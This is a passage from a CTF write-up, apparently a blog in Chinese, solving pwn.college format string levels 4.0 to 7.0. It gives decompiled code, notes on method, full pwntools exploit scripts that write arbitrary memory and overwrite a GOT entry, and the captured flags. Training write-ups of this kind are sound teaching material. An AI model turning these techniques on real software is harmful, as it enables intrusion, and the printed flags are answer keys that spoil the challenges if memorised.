context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyfmt_level4.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *func+293
b *check_win+77
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload(position, var_offset):
    return flat(
        f&quot;aaaa%190x%{position}$n\x00&quot;.encode(&quot;ascii&quot;),
        elf.bss() + var_offset,
    )


def attack(target):
    try:
        payload = construct_payload(29, 0xC0)

        target.sendafter(b&quot;Send your data!&quot;, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch(debug=False) as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{MrJaEVG2FM1QGKYUbL8GjOyBkhg.dJjM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 4.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a format string exploit to set a global variable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-40&quot;&gt;Level 4.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import ELF, context, flat, gdb, log, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyfmt_level4.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *func+191
b *check_win+77
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload(position, var_offset):
    return flat(
        f&quot;aaaaa%116x%{position}$n\x00&quot;.encode(&quot;ascii&quot;),
        elf.bss() + var_offset,
    )


def attack(target):
    try:
        payload = construct_payload(30, 0x40)

        target.sendafter(b&quot;Send your data!&quot;, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch(debug=False) as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{gYbZ_KMoDIuA2cpDPTK3F8hxiEo.dNjM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 5.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a format string exploit to set a larger global variable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int check_win()
{
  int v0; // eax

  puts(&quot;Checking win value...&quot;);
  printf(&quot;... desired win value: %#lx\n&quot;, 0x82802F819C27A46ALL);
  printf(&quot;... written win value: %#lx\n&quot;, qword_4040F8);
  if ( qword_4040F8 != 0x82802F819C27A46ALL )
    return puts(&quot;... INCORRECT!&quot;);
  puts(&quot;... SUCCESS! Here is your flag:&quot;);
  v0 = open(&quot;/flag&quot;, 0);
  return sendfile(1, v0, 0LL, 0x80uLL);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WHAT CAN I SAY...WHAT U WANT ME TO SAY...&lt;/p&gt;
&lt;p&gt;对于这种巨大的数值的策略是我们可以分组写，按 2 字节一组应该是不错的选项。第一组写起来应该是没有任何坑的，注意栈对齐加减字节即可；第二组开始则应该减去前一组写入的字节数再 &lt;code&gt;% 0x10000&lt;/code&gt;，这是为了回环到 &lt;code&gt;[0x00, 0xFF]&lt;/code&gt; 这个区间，这样就确保了 &lt;code&gt;%n&lt;/code&gt; 写入的是我们期望的值。&lt;/p&gt;
&lt;p&gt;评价一下我的码风好不好看 &lt;a href=&quot;https://memos.cubeyond.net/m/jomRvQVoucVd8FsyYkpygn&quot;&gt;1/31/2025&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import ELF, context, flat, gdb, log, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyfmt_level5.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *func+315
b *check_win+82
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload(position, var_offset):
    parts = [0xA46A, 0x9C27, 0x2F81, 0x8280]

    align_stack = b&quot;a&quot; * 0x3
    align_offset = len(align_stack)

    fmtstr = (
        b&quot;&quot;.join(
            f&quot;%{(parts[i] - (align_offset if i == 0 else parts[i - 1])) % 0x10000}x%{position + i}$hn&quot;.encode(
                &quot;ascii&quot;
            )
            for i in range(len(parts))
        )
        + b&quot;\x00&quot;
    )
    addresses = [elf.bss() + var_offset + (0x2 * i) for i in range(4)]

    return flat(
        align_stack,
        fmtstr,
        *addresses,
    )


def attack(target):
    try:
        payload = construct_payload(45, 0x58)

        target.sendafter(b&quot;Send your data!&quot;, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch(debug=False) as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{wRZzRCQlIP6gytdVI6FYHhTLMom.dRjM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 5.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a format string exploit to set a larger global variable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-50&quot;&gt;Level 5.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import ELF, context, flat, gdb, log, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyfmt_level5.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *func+213
b *check_win+82
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload(position, var_offset):
    parts = [0x15C7, 0x32CC, 0x2869, 0x2872]

    align_stack = b&quot;a&quot; * 0x6
    align_offset = len(align_stack)

    fmtstr = (
        b&quot;&quot;.join(
            f&quot;%{(parts[i] - (align_offset if i == 0 else parts[i - 1])) % 0x10000}x%{position + i}$hn&quot;.encode(
                &quot;ascii&quot;
            )
            for i in range(len(parts))
        )
        + b&quot;\x00&quot;
    )
    addresses = [elf.bss() + var_offset + (0x2 * i) for i in range(4)]

    return flat(
        align_stack,
        fmtstr,
        *addresses,
    )


def attack(target):
    try:
        payload = construct_payload(39, 0xA8)

        target.sendafter(b&quot;Send your data!&quot;, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch(debug=False) as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{sjfLqAt2jCG0OYV91dJi9052Hf4.dVjM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 6.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a format string exploit to copy a value and overwrite a global variable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 func()
{
  int v0; // eax
  unsigned int v1; // eax
  _QWORD v3[63]; // [rsp+0h] [rbp-200h] BYREF
  unsigned __int64 v4; // [rsp+1F8h] [rbp-8h]
  __int64 savedregs; // [rsp+200h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+208h] [rbp+8h] BYREF

  v4 = __readfsqword(0x28u);
  sp_ = (__int64)v3;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v3) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  memset(v3, 0, sizeof(v3));
  v0 = open(&quot;/dev/urandom&quot;, 0, v3);
  read(v0, &amp;amp;v3[62], 3uLL);
  v1 = time(0LL);
  srand(v1);
  puts(&quot;This challenge requires you to set a win value, located in the .bss, to a secret value! This secret value&quot;);
  puts(&quot;is currently stored in a stack variable, and you will have to figure out how to copy it into the .bss.&quot;);
  puts(&quot;There are two options: do a leak (using one printf) followed by a write (using a second printf), or use&quot;);
  printf(&quot;a _dynamic padding size_, using the * format character, in combination with %%n, in a _single_ printf,\n&quot;);
  puts(&quot;to copy memory. Since this level only gives you a single printf() call, you will likely need to use the&quot;);
  puts(&quot;latter. Check the printf man page (in category 3: `man 3 printf`) for documentation on *.\n&quot;);
  puts(&quot;As before, if you successfully pull that off, the challenge will give you the flag!&quot;);
  putchar(10);
  printf(
    &quot;The win value in the .bss is located at %p! Remember to write this in little endian in your format string.\n&quot;,
    &amp;amp;qword_404158);
  printf(&quot;Remember, you can swap %%n with %%lx to see what address you will be writing into to make sure you have the.&quot;);
  puts(&quot;correct offset.\n&quot;);
  printf(&quot;The secret value is located on the stack, %#x bytes after the start of your format string!\n\n&quot;, 325);
  printf(&quot;I will now read up to %d bytes. Send your data!\n&quot;, 256);
  HIDWORD(v3[12]) = read(0, (char *)&amp;amp;v3[21] + 3, 0x100uLL);
  *((_BYTE *)&amp;amp;v3[21] + SHIDWORD(v3[12]) + 3) = 0;
  printf(&quot;Received %d bytes!\n&quot;, HIDWORD(v3[12]));
  putchar(10);
  printf(&quot;I will now call printf on your data!\n&quot;);
  putchar(10);
  printf((const char *)&amp;amp;v3[21] + 3, 256LL);
  putchar(10);
  puts(&quot;And now, let&apos;s check the win value!&quot;);
  check_win(v3[62]);
  return __readfsqword(0x28u) ^ v4;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall check_win(__int64 a1)
{
  int v1; // eax

  puts(&quot;Checking win value...&quot;);
  printf(&quot;... desired win value: %#lx\n&quot;, a1);
  printf(&quot;... written win value: %#lx\n&quot;, qword_404158);
  if ( a1 != qword_404158 )
    return puts(&quot;... INCORRECT!&quot;);
  puts(&quot;... SUCCESS! Here is your flag:&quot;);
  v1 = open(&quot;/flag&quot;, 0);
  return sendfile(1, v1, 0LL, 0x80uLL);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题就是读了一个三字节的随机值到栈上，给 flag 的条件是我们 &lt;code&gt;.bss&lt;/code&gt; 段中的 &lt;code&gt;qword_404158&lt;/code&gt; 变量值必须等于这个随机值。思路是用格式化字符串中的 &lt;code&gt;* (specifies a dynamic padding size)&lt;/code&gt; 来 &apos;copy memory&apos;. 举个栗子：&lt;code&gt;%*10$c&lt;/code&gt; 会把第十个参数的值用作 padding size，输出大小为 padding size 的内容。所以我们只要把这个 padding size 通过 &lt;code&gt;%n&lt;/code&gt; 写入就相当于实现了 &apos;copy memory&apos; 了。&lt;/p&gt;
&lt;p&gt;这个方法这对于比较小的值还好，太大了就不太友善了，cuz bunch of spaces.&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import ELF, context, flat, gdb, log, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyfmt_level6.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *func+173
b *func+417
b *check_win+79
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload(random_value_position, position, var_offset):
    return flat(
        f&quot;%*{random_value_position}$c%{position}$naaaaaaaaa\x00&quot;,
        elf.bss() + var_offset,
    )


def attack(target):
    try:
        payload = construct_payload(68, 30, 0xB8)

        target.sendafter(b&quot;Send your data!&quot;, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch(debug=False) as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{ExgmxPb8JckvvOZvTLw9kufKyFP.dZjM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 6.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a format string exploit to copy a value and overwrite a global variable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-60&quot;&gt;Level 6.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import ELF, context, flat, gdb, log, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyfmt_level6.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *func+100
b *func+305
b *check_win+79
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload(random_value_position, position, var_offset):
    return flat(
        f&quot;%*{random_value_position}$c%{position}$naaaaaaaaaaa\x00&quot;,
        elf.bss() + var_offset,
    )


def attack(target):
    try:
        payload = construct_payload(66, 31, 0xB8)

        target.sendafter(b&quot;Send your data!&quot;, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch(debug=False) as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{o3IDJsXjzJ3CBMBZz_66rdU2oQR.ddjM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 7.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a format string exploit to overwrite a got entry.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  size_t v4; // rax
  int fd; // [rsp+2Ch] [rbp-14h]
  const char **i; // [rsp+30h] [rbp-10h]
  const char **j; // [rsp+38h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  if ( argc &amp;lt;= 0 )
    __assert_fail(&quot;argc &amp;gt; 0&quot;, &quot;&amp;lt;stdin&amp;gt;&quot;, 0xA0u, &quot;main&quot;);
  puts(
    &quot;In this challenge, you will be performing attack against the old and famous vulnerability:\n&quot;
    &quot;\&quot;format string vulnerability\&quot;. This challenge reads in some bytes and print the\n&quot;
    &quot;input as the format using `printf` in different ways(depending on the specific challenge\n&quot;
    &quot;configuration). Different challenges have different protections on. ROP may be needed in\n&quot;
    &quot;some challenges. Have fun!&quot;);
  puts(&quot;To ensure that you are ROPing, rather than doing other tricks, this&quot;);
  puts(&quot;will sanitize all environment variables and arguments and close all file&quot;);
  puts(&quot;descriptors &amp;gt; 2,&quot;);
  putchar(10);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  func();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 func()
{
  char v1[1032]; // [rsp+60h] [rbp-410h] BYREF
  unsigned __int64 v2; // [rsp+468h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(&quot;In this challenge, you can perform format string attack for infinite times&quot;);
  puts(&quot;You can use the the attack to leak information and prepare your payload&quot;);
  puts(&quot;After your payload is ready, send \&quot;END\&quot; to exit from the while loop&quot;);
  puts(&quot;And hopefully your payload can be triggered :)\n&quot;);
  memset(v1, 0, 0x400uLL);
  puts(&quot;You can use `checksec` command to check the protection of the binary.&quot;);
  while ( 1 )
  {
    puts(&quot;\nNow, the program is waiting for your input.&quot;);
    puts(&quot;If your input contains \&quot;END\&quot;, the program exits from the while loop before triggering the vulnerability:&quot;);
    memset(v1, 0, 0x400uLL);
    memset(v1, 0, 0x400uLL);
    if ( (int)read(0, v1, 0x3FFuLL) &amp;lt;= 0 || strstr(v1, &quot;END&quot;) )
      break;
    puts(&quot;Show me what you got :P&quot;);
    printf(v1);
  }
  return __readfsqword(0x28u) ^ v2;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并没有什么特别的地方，只要 &lt;code&gt;read&lt;/code&gt; 返回 &lt;code&gt;&amp;gt; 0&lt;/code&gt;，并且输入中不包含 &lt;code&gt;END&lt;/code&gt; 程序就可以无限次触发格式化字符串漏洞。而我们的目标是执行下面这个 &lt;code&gt;win&lt;/code&gt; 函数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void __noreturn win()
{
  int v0; // eax

  puts(&quot;You win! Here is your flag:&quot;);
  v0 = open(&quot;/flag&quot;, 0);
  sendfile(1, v0, 0LL, 0x400uLL);
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;检查保护措施，发现没开 PIE，看到这个就开心，因为之后利用起来会比较轻松……有 Canary，但因为格式化字符串漏洞的存在，我们可以直接忽略掉它。重点在于这个程序是 Partial RELRO 的，这个 RELRO 级别的 GOT 表是可写的，注意到我们触发格式化字符串漏洞之后程序返回到 &lt;code&gt;main&lt;/code&gt; 还会调用一次 &lt;code&gt;puts&lt;/code&gt; 函数（对于 7.1 是这样的，但对于 7.0 这个情况，事实上我们会在循环体内再次出发 &lt;code&gt;puts&lt;/code&gt;，所以 7.0 可以不输入 &lt;code&gt;END&lt;/code&gt;），那我们只要通过格式化字符串漏洞把 &lt;code&gt;puts&lt;/code&gt; 的 GOT 表内容篡改为 &lt;code&gt;win&lt;/code&gt; 的地址就好了，篡改后再次调用 &lt;code&gt;puts&lt;/code&gt; 就会执行 &lt;code&gt;win&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;需要注意的点是由于 &lt;code&gt;win&lt;/code&gt; 内部还有一个 &lt;code&gt;puts&lt;/code&gt;，所以我们要跳过它。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; checksec
File:     /home/cub3y0nd/Projects/pwn.college/babyfmt_level7.0
Arch:     amd64
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
pwndbg&amp;gt; got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/cub3y0nd/Projects/pwn.college/babyfmt_level7.0:
GOT protection: Partial RELRO | Found 15 GOT entries passing the filter
[0x404018] putchar@GLIBC_2.2.5 -&amp;gt; 0x7502eb8c8310 (putchar) ◂— endbr64
[0x404020] puts@GLIBC_2.2.5 -&amp;gt; 0x7502eb8c6360 (puts) ◂— endbr64
[0x404028] strlen@GLIBC_2.2.5 -&amp;gt; 0x7502eb9b3040 ◂— endbr64
[0x404030] __stack_chk_fail@GLIBC_2.4 -&amp;gt; 0x401060 ◂— endbr64
[0x404038] setbuf@GLIBC_2.2.5 -&amp;gt; 0x7502eb8cdb30 (setbuf) ◂— endbr64
[0x404040] printf@GLIBC_2.2.5 -&amp;gt; 0x7502eb89de00 (printf) ◂— endbr64
[0x404048] __assert_fail@GLIBC_2.2.5 -&amp;gt; 0x401090 ◂— endbr64
[0x404050] memset@GLIBC_2.2.5 -&amp;gt; 0x7502eb9b0cc0 ◂— endbr64
[0x404058] close@GLIBC_2.2.5 -&amp;gt; 0x7502eb94be60 (close) ◂— endbr64
[0x404060] read@GLIBC_2.2.5 -&amp;gt; 0x7502eb950a20 (read) ◂— endbr64
[0x404068] sendfile@GLIBC_2.2.5 -&amp;gt; 0x4010d0 ◂— endbr64
[0x404070] setvbuf@GLIBC_2.2.5 -&amp;gt; 0x7502eb8c6b10 (setvbuf) ◂— endbr64
[0x404078] open@GLIBC_2.2.5 -&amp;gt; 0x4010f0 ◂— endbr64
[0x404080] exit@GLIBC_2.2.5 -&amp;gt; 0x401100 ◂— endbr64
[0x404088] strstr@GLIBC_2.2.5 -&amp;gt; 0x401110 ◂— endbr64
pwndbg&amp;gt; i fun win
All functions matching regular expression &quot;win&quot;:

Non-debugging symbols:
0x0000000000401540  win
0x00007502eb8cda20  rewind
0x00007502eb8e2330  __pthread_unwind_next
0x00007502eb927940  rewinddir
0x00007502eb95d260  __libc_unwind_link_get
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以这时候没 PIE 的爽就体现出来了，不需要想办法泄漏 GOT 表，已经被看光光了，指哪打哪 LOL&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;19:27，为什么我想睡觉？一定是被自己出的烂题折腾惨了……打完这题刷电影去～&amp;lt;br /&amp;gt;
20:49，啊啊啊啊啊写 0 真麻烦，不干了！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import ELF, context, flat, gdb, log, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyfmt_level7.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *func+280
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload(position):
    puts_got = 0x404020
    parts = [0x1554, 0x0040, 0x0000, 0x0000]

    align_stack = b&quot;a&quot; * 3
    written_chars = len(align_stack) % 0x10000

    fmtstr_parts = []

    for idx, target_byte in enumerate(parts):
        padding = (target_byte - written_chars) % 0x10000

        fmtstr_parts.append(
            f&quot;%{padding}x%{position + idx}$hn&quot;
            if padding &amp;gt; 0
            else f&quot;%{position + idx}$hn&quot;
        )

        written_chars += padding

    fmtstr = &quot;&quot;.join(fmtstr_parts).encode(&quot;ascii&quot;) + b&quot;\x00&quot;
    addresses = [puts_got + (i * 0x2) for i in range(len(parts))]

    return flat(
        align_stack,
        fmtstr,
        *addresses,
    )


def attack(target):
    try:
        payload = construct_payload(24)

        target.sendafter(b&quot;vulnerability:&quot;, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch(debug=False) as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{Ux3-i0zQW7ZkTY5X_RLl2eIH1Fb.dhjM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 7.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
